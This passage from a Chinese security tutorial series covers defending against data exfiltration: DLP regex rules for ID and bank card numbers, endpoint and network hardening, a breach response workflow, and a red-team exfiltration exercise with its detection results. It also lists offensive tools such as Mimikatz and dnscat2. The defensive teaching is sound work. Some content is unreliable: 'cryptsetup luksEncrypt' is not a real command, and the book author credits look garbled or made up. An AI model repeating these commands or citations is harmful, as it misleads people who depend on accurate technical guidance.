encfs ~/.encrypted ~/decrypted

# 全盘加密
# LUKS (Linux Unified Key Setup)
cryptsetup luksEncrypt /dev/sdX
```

### 2. DLP 部署

#### DLP 策略配置

```
DLP 策略示例:
├── 阻止外发身份证号
│   ├── 检测规则：\d{17}[\dXx]
│   ├── 动作：阻止 + 告警
│   └── 范围：邮件、Web 上传、即时通讯
├── 阻止外发银行卡号
│   ├── 检测规则：\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}
│   ├── 动作：阻止 + 告警
│   └── 范围：所有外传渠道
└── 限制大文件外传
    ├── 阈值：10MB
    ├── 动作：需要审批
    └── 范围：邮件附件、云存储
```

#### DLP 工具

| 工具 | 类型 | 特点 |
|------|------|------|
| **Symantec DLP** | 商业 | 企业级，功能全面 |
| **McAfee DLP** | 商业 | 集成 McAfee 生态 |
| **Microsoft Purview** | 商业 | 集成 Microsoft 365 |
| **Digital Guardian** | 商业 | 端点 DLP 强 |
| **MyDLP** | 开源 | 免费，基础功能 |

### 3. 网络隔离

```
网络分段策略:
┌─────────────┐    ┌─────────────┐    ┌─────────────┐
│   外部网络   │ →  │   DMZ 区域   │ →  │   内网区域   │
│             │    │             │    │             │
│  互联网访问  │    │  边界服务器  │    │  核心服务器  │
│             │    │             │    │             │
│             │    │             │    │  ┌───────┐  │
│             │    │             │    │  │数据区  │  │
│             │    │             │    │  │严格管控│  │
│             │    │             │    │  └───────┘  │
└─────────────┘    └─────────────┘    └─────────────┘

控制措施:
- 防火墙规则限制出站连接
- 代理服务器监控 HTTP/HTTPS
- DNS 过滤阻止恶意域名
- 网络流量分析检测异常
```

### 4. 端点保护

```powershell
# Windows: 禁用 USB 存储
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\USBSTOR" `
    -Name "Start" -Value 4 -PropertyType DWORD -Force

# 限制可执行文件运行
# 使用 AppLocker
# 组策略 → 计算机配置 → Windows 设置 → 安全设置 → 应用程序控制策略
```

```bash
# Linux: 限制 USB 挂载
# 黑名单 USB 存储模块
echo "blacklist usb-storage" >> /etc/modprobe.d/blacklist.conf

# 监控文件访问
auditctl -w /home/sensitive/ -p wa -k sensitive_access
```

### 5. 响应流程

```
数据泄露响应流程:
┌─────────────────────────────────────────────────────────┐
│  1. 检测与发现                                           │
│      - DLP 告警                                          │
│      - 异常流量检测                                      │
│      - 用户报告                                          │
├─────────────────────────────────────────────────────────┤
│  2. 初步评估                                             │
│      - 确认是否为真实泄露                                │
│      - 评估泄露数据范围                                  │
│      - 确定泄露渠道                                      │
├─────────────────────────────────────────────────────────┤
│  3. 遏制                                                 │
│      - 阻断外传连接                                      │
│      - 隔离受影响系统                                    │
│      - 禁用相关账户                                      │
├─────────────────────────────────────────────────────────┤
│  4. 调查                                                 │
│      - 收集日志证据                                      │
│      - 分析攻击路径                                      │
│      - 确定根本原因                                      │
├─────────────────────────────────────────────────────────┤
│  5. 恢复                                                 │
│      - 恢复受影响系统                                    │
│      - 修改凭证                                          │
│      - 加强防护措施                                      │
├─────────────────────────────────────────────────────────┤
│  6. 报告与合规                                           │
│      - 内部报告                                          │
│      - 监管报告 (如 GDPR 要求 72 小时内)                      │
│      - 用户通知 (如需要)                                 │
└─────────────────────────────────────────────────────────┘
```

---

## 实战案例

### 案例一：企业数据泄露模拟

#### 场景描述

在某大型企业的红队演练中，目标是评估 DLP 系统和数据泄露检测能力。使用模拟数据进行测试。

#### 演练流程

```
准备阶段:
□ 创建模拟敏感数据 (脱敏)
  - 模拟身份证号：110101199001011234
  - 模拟银行卡号：6222 0210 0123 4567
  - 模拟客户列表 (1000 条记录)
□ 部署到目标系统
□ 配置监控和日志
□ 获得书面授权

执行阶段:
┌─────────────────────────────────────────────────────────┐
│ Step 1: 数据发现                                        │
│ - 扫描文件系统识别敏感数据                              │
│ - 扫描数据库识别敏感列                                  │
│ - 记录发现的数据位置和类型                              │
├─────────────────────────────────────────────────────────┤
│ Step 2: 数据收集                                        │
│ - 收集敏感文件到临时目录                                │
│ - 导出数据库敏感表                                      │
│ - 记录收集的数据量                                      │
├─────────────────────────────────────────────────────────┤
│ Step 3: 数据打包                                        │
│ - 压缩收集的数据                                        │
│ - 加密压缩包                                            │
│ - 分卷 (如果需要)                                       │
├─────────────────────────────────────────────────────────┤
│ Step 4: 模拟外传                                        │
│ - 尝试 HTTP 上传 (被 DLP 阻止)                             │
│ - 尝试邮件发送 (被 DLP 阻止)                             │
│ - 尝试 DNS 隧道 (部分成功)                               │
│ - 尝试云存储上传 (被阻止)                               │
├─────────────────────────────────────────────────────────┤
│ Step 5: 清理                                            │
│ - 删除所有收集的数据                                    │
│ - 删除所有临时文件                                      │
│ - 恢复系统到原始状态                                    │
└─────────────────────────────────────────────────────────┘

报告阶段:
□ 提交完整的测试报告
□ 列出被检测到的活动
□ 列出未被检测到的活动
□ 提供改进建议
```

#### 检测结果

| 外传方式 | 是否被检测 | 响应时间 | 备注 |
|----------|------------|----------|------|
| HTTP 上传 | + 是 | 即时 | DLP 规则触发 |
| HTTPS 上传 | + 是 | 即时 | SSL 解密后检测 |
| 邮件发送 | + 是 | 即时 | 附件内容检测 |
| DNS 隧道 | ! 部分 | 30 分钟 | 流量异常告警 |
| 云存储上传 | + 是 | 即时 | 域名黑名单 |
| ICMP 隧道 | - 否 | - | 未检测 |

#### 改进建议

1. **增强 DNS 监控**: 部署 DNS 隧道检测
2. **加密流量分析**: 增强 HTTPS 流量检测能力
3. **行为分析**: 部署 UEBA 系统
4. **网络分段**: 限制敏感数据区域的出站连接
5. **端点 DLP**: 在端点部署 DLP 代理

### 案例二：云环境数据保护评估

#### 场景描述

某云原生企业需要评估 AWS 环境中的数据保护能力，防止敏感数据泄露。

#### 评估内容

```
数据发现:
- 使用 AWS Macie 扫描 S3 桶中的敏感数据
- 发现 50 个包含 PII 的 S3 对象
- 发现 10 个公开访问的敏感桶

数据保护:
- 启用 S3 桶加密 (SSE-S3)
- 配置桶策略限制访问
- 启用 S3 访问日志

外传检测:
- 配置 CloudTrail 记录所有 API 调用
- 配置 GuardDuty 检测异常行为
- 配置 S3 访问告警

测试结果:
- Macie 成功识别 95% 的敏感数据
- GuardDuty 检测到异常数据下载
- CloudTrail 记录所有外传尝试
```

---

## 总结与思考

### 核心要点回顾

1. **数据窃取是攻击的最终目标**
   - 大多数攻击的最终目的是获取敏感数据
   - 数据泄露造成直接经济损失和声誉损害
   - 必须部署多层防护措施

2. **敏感数据识别是基础**
   - 使用正则表达式扫描
   - 文件类型识别
   - 数据库列名分析
   - 自动化 DLP 工具

3. **数据外传渠道多样**
   - HTTP/HTTPS 上传
   - DNS 隧道
   - ICMP 隧道
   - 邮件外发
   - 云存储上传
   - 隐蔽信道

4. **检测与防护需要多层**
   - DLP 系统
   - 网络流量分析
   - 端点监控
   - 用户行为分析
   - 日志分析

5. **响应流程至关重要**
   - 快速检测
   - 及时遏制
   - 彻底调查
   - 合规报告

### 深入思考

#### 为什么数据泄露难以完全防止？

1. **授权用户威胁**: 内部人员有合法访问权限
2. **加密普及**: 加密流量难以内容检测
3. **云环境复杂**: 多云环境增加管控难度
4. **新型渠道**: 攻击者不断开发新的外传方式
5. **误报问题**: 过于严格的策略影响业务

#### 如何平衡安全与可用性？

在数据保护中，我必须考虑：

1. **业务需求**: 数据需要被合法使用
2. **用户体验**: 过于严格的控制影响效率
3. **误报处理**: 大量误报导致告警疲劳
4. **成本考量**: 完整的数据保护方案成本高昂

#### 未来趋势

1. **AI/ML 应用**: 使用机器学习检测异常行为
2. **零信任架构**: 不信任任何位置，持续验证
3. **数据血缘**: 追踪数据全生命周期
4. **隐私增强**: 同态加密、差分隐私等技术
5. **自动化响应**: SOAR 自动阻断可疑活动

### 实战建议

1. **对安全团队**:
   - 部署多层 DLP 防护
   - 定期测试数据泄露场景
   - 建立快速响应流程
   - 持续监控和告警

2. **对开发人员**:
   - 实施数据分类
   - 默认加密敏感数据
   - 最小权限访问
   - 审计数据访问

3. **对组织**:
   - 制定数据保护政策
   - 员工安全意识培训
   - 定期合规审计
   - 投资数据保护技术

---

## 参考资料

### 学习资源

- **NIST SP 800-53 - Data Protection**
  - https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final

- **OWASP Data Protection Cheat Sheet**
  - https://cheatsheetseries.owasp.org/cheatsheets/Data_Protection_Cheat_Sheet.html

- **SANS Institute - Data Exfiltration**
  - https://www.sans.org/white-papers/data-exfiltration/

### 工具资源

| 工具 | 用途 | 链接 |
|------|------|------|
| **Mimikatz** | 凭据提取 | https://github.com/gentilkiwi/mimikatz |
| **sqlmap** | SQL 注入 | https://sqlmap.org/ |
| **dnscat2** | DNS 隧道 | https://github.com/iagox86/dnscat2 |
| **steghide** | 隐写工具 | http://steghide.sourceforge.net/ |
| **Presidio** | 数据识别 | https://github.com/microsoft/presidio |
| **AWS Macie** | AWS 数据发现 | https://aws.amazon.com/macie/ |
| **Velociraptor** | 端点监控 | https://www.velociraptor.app/ |

### 书籍推荐

1. **《Data Loss Prevention**
   - 作者：Robert H'ingston
   - DLP 实施指南

2. **《Privacy Engineering**
   - 作者：Martin C. J.
   - 隐私保护技术

3. **《Red Team Development and Operations》**
   - 章节：Data Exfiltration Techniques

4. **《Blue Team Handbook: Incident Response Edition》**
   - 章节：Data Breach Response

---

*365 天信息安全技术系列 | Day 233 | 渗透测试系列 | 数据窃取与 Exfiltration 技术*
*创建时间：2026-04-12 | 作者：安全专家 · 严谨专业版*